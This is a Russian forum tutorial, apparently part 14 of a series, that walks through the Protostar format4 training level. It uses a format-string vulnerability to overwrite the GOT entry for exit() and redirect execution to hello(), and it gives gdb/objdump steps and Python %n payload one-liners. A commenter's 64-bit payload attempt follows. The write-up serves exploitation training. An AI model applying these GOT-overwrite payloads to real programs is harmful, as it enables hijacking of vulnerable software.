Статья Уязвимости форматных строк и метод перенаправления выполнения в процессе - Изучение методов эксплуатации на примерах, часть 14

Доброго времени суток кодбай. В предыдущей статье мы имели дело с глобальной переменной и контролируя данные приводили ее к конкретному значению. В этой статье мы познакомимся с одним методом перенаправления выполнения в процессе, который похож на метод перезаписи адреса возврата. Поехали…

Описание ExploitMe
format4 рассматривает один метод перенаправления выполнения в процессе.

подсказки:
  • objdump -TR твой друг
Этот уровень находится в / opt / protostar / bin / format4

, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);
}

int main(int argc, char **argv)
{
  vuln();
}
Решение

Посмотри на исходный код данной нам программы. И так у нас есть главная функция main(), которая в свою очередь вызывает уязвимую функцию vuln(), так же у нас есть всё та же глобальная переменная target и мертвая функция, которая никогда не вызывается. Собственно задача состоит в том, чтобы вызвать эту самую мертвую функцию обозначенную как hello(). Приступим к решению.

Начнем всё так же с поиска нашей входной строки. А именно с определения местоположения входной строки в стеке.

Код:
python -c "print 'AAAA' + '%x.'*100 + '%x'" | ./format4

rMetpu5 (2).png


Наша строка лежит четвертая по счету.

Код:
python -c "print 'AAAA' + '%x.'*3 + '%x'" | ./format4

uhjnJdv (2).png


Теперь когда мы нашли нашу входную строку надо определится, что делать дальше. А дальше мы вернемся к исходному тексту данной программы и посмотрим еще раз на код.

В коде вроде как ничего нет, но бросается в глаза функция exit() которая определена в двух разных местах. В функции vuln() и в функции hello() она определена с нижним подчеркиванием.

И так в первую очередь нас интересует функция exit() которая вызывается в функции vuln().

Посмотрим на описание этой функции.

Функция exit() вызывает немедленное нормальное завершение программы. Значение параметра status задается вызывающим процессом. По соглашению, если значением параметра status является 0, то предполагается нормальное завершение программы. Ненулевое значение используется для указания ошибки, зависящей от реализации

Так же тут следует сказать, что функция exit() расположена сразу после функции printf(). И она вызывается сразу. Ситуация такая, если мы перезаписываем адрес возврата для функции vuln(), то функция exit() становится бесполезной. Следовательно нам надо перезаписать её. Перезаписывать будем адрес exit() в глобальной таблице смещений (GOT), чтобы в дальнейшем нам не нужно было угадывать правильное расположение адреса возврата в стеке из-за смещения.

Всё что надо знать, что GOT — это просто таблица адресов, находящихся в разделе данных. С помощью GOT, функции разделяемой библиотеки загружаются в динамически связанный двоичный файл ELF.

Теперь когда ситуация прояснилась найдем адрес функции exit() в глобальной таблице смещения (GOT).

Сделать это можно разными способами.
1 способ

Код:
gdb -q ./format4
disas vuln
x/i 0x80483ec

tM7jrOw (2).png


2 способ, это то, что нам дали в подсказке
Код:
objdump -TR ./format4

cx8BCA6 (2).png


Таким образом мы можем получить адрес.

Дальше нам нужно записать все 4 байта функции exit() в записи GOT. Поэтому узнаем адрес для каждого байта.

Код:
gdb -q ./format4
x/b 0x08049724
Enter
Enter
Enter
Enter

a5EESr2 (2).png


Адреса получены

0x8049724
0x8049725
0x8049726
0x8049727

FF|FF|FF|FF -> 0x8049727|0x8049726|0x8049725|0x8049724

Используя эти адреса и символ форматирования %n попробуем записать байты в запись GOT.

Код:
python -c "from struct import pack; b1=pack('I',0x8049724);b2=pack('I',0x8049725);b3=pack('I',0x8049726);b4=pack('I',0x8049727); print b1+b2+b3+b4 + '%x.'*3 + '%n%n%n%n'" > /tmp/exploit

Код:
gdb -q ./format4
run < /tmp/exploit

keUGas2 (2).png


Что нам и удалось. Теперь нам нужно узнать адрес функции hello(), так как именно этот адрес мы будем использовать при перезаписи функции exit() в GOT.

Код:
disas hello

8PRmkTH (2).png


Адрес функции hello() получен — 0x080484b4. Теперь, как и в прошлый раз мы будем комбинировать спецификаторы формата %u и %n. Для того, чтобы записать конкретное значение. А именно нам надо записать адрес функции hello() в запись GOT функции exit(). А так же перед каждым адресом ячейки памяти добавим по четыре байта из 0x01. Чтобы обнулить перед записью, каждый байт в ячейке.

Нам остается лишь только вычислить значения, которые мы будем писать совместно со спецификатором %u.

Код эксплойта будет выглядить так.

Код:
python -c "from struct import pack;b1=pack('I',0x8049724);b2=pack('I',0x8049725);b3=pack('I',0x8049726);b4=pack('I',0x8049727); b5=pack('I',0x01010101); print b5+b1+b5+b2+b5+b3+b5+b4 + '%x.'*3 + '%u%n%u%n%u%n%u%n'"

Остается лишь только вычислить значения для адреса 0x080484b4 функции hello(). Делать это будем так же, как и в прошлый раз. Воспользуемся функцией для подсчета.

Python:
def calculate(to_write, written):
    to_write += 0x100
    written %= 0x100
    padding = (to_write - written) % 0x100
    if padding < 10:
        padding += 0x100
    return padding

В аргумент to_write передаем значение которое хотим записать.

А мы хотим этот адрес 0x080484b4 , следовательно будут байты: 0xb4,0x84,0x04,0x08. А во второй аргумент изначальное значение которое мы записали. А записали мы значение 0x26262626. Поэтому передаем сюда значение 0x26 + 16. Шестнадцать это значение 0x01010101 по 4 байта для каждого адреса. Таким образом мы обнуляем, перед тем как записать. Дальше при подстановки значений в аргументы функции делаем так. Подставляем во второй аргумент, предыдущий из первого. И таким образом мы найдем нужные нам значения.

8T5E48f (2).png


Вычислили значения 126, 208, 128, 260.

Совмещаем их со спецификатором %u. И тестируем наш эксплойт.

Код:
python -c "from struct import pack;b1=pack('I',0x8049724);b2=pack('I',0x8049725);b3=pack('I',0x8049726);b4=pack('I',0x8049727); b5=pack('I',0x01010101); print b5+b1+b5+b2+b5+b3+b5+b4 + '%x.'*3 + '%126u%n%208u%n%128u%n%260u%n'" | ./format4

LNYL7Bj (2).png


Отлично. Мы решили это задание можно переходить на следующий . В следующей статье мы познакомимся с новой уязвимостью — Heap Overflow.
 
Последнее редактирование:

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
чем отличается exit@ptl от exit@got.ptl?

1585521831900.png


и в чем прикол его, если с рандомизацией памяти objdump выдает оффсет?
0000000000004038 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5

А мы хотим этот адрес 0x080484b4 , следовательно будут байты: 0xb4,0x84,0x04,0x08. А во второй аргумент изначальное значение которое мы записали. А записали мы значение 0x26262626. Поэтому передаем сюда значение 0x26 + 16. Шестнадцать это значение 0x01010101 по 4 байта для каждого адреса. Таким образом мы обнуляем, перед тем как записать. Дальше при подстановки значений в аргументы функции делаем так. Подставляем во второй аргумент, предыдущий из первого. И таким образом мы найдем нужные нам значения.
ай, больно

не могу перезаписать адрес exit@got.ptl
Python:
python -c "from struct import pack; b1=pack('l',0x0000555555558038);b2=pack('l',0x0000555555558039);b3=pack('l',0x000055555555803a);b4=pack('l',0x000055555555803b);b5=pack('l',0x000055555555803c);b6=pack('l',0x000055555555803d);b7=pack('l',0x000055555555803e);b8=pack('l',0x000055555555803f); print(b1+b2+b3+b4+b5+b6+b7+b8 + '%lx.'*5 + '%n'*8)" > ./s2.txt

пробовал по разному. 8 байт из 'A' у меня попадают в 6ю позицию. то есть %lx*5 и дальше место в памяти, где хранится ввод.

что я делаю не так?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!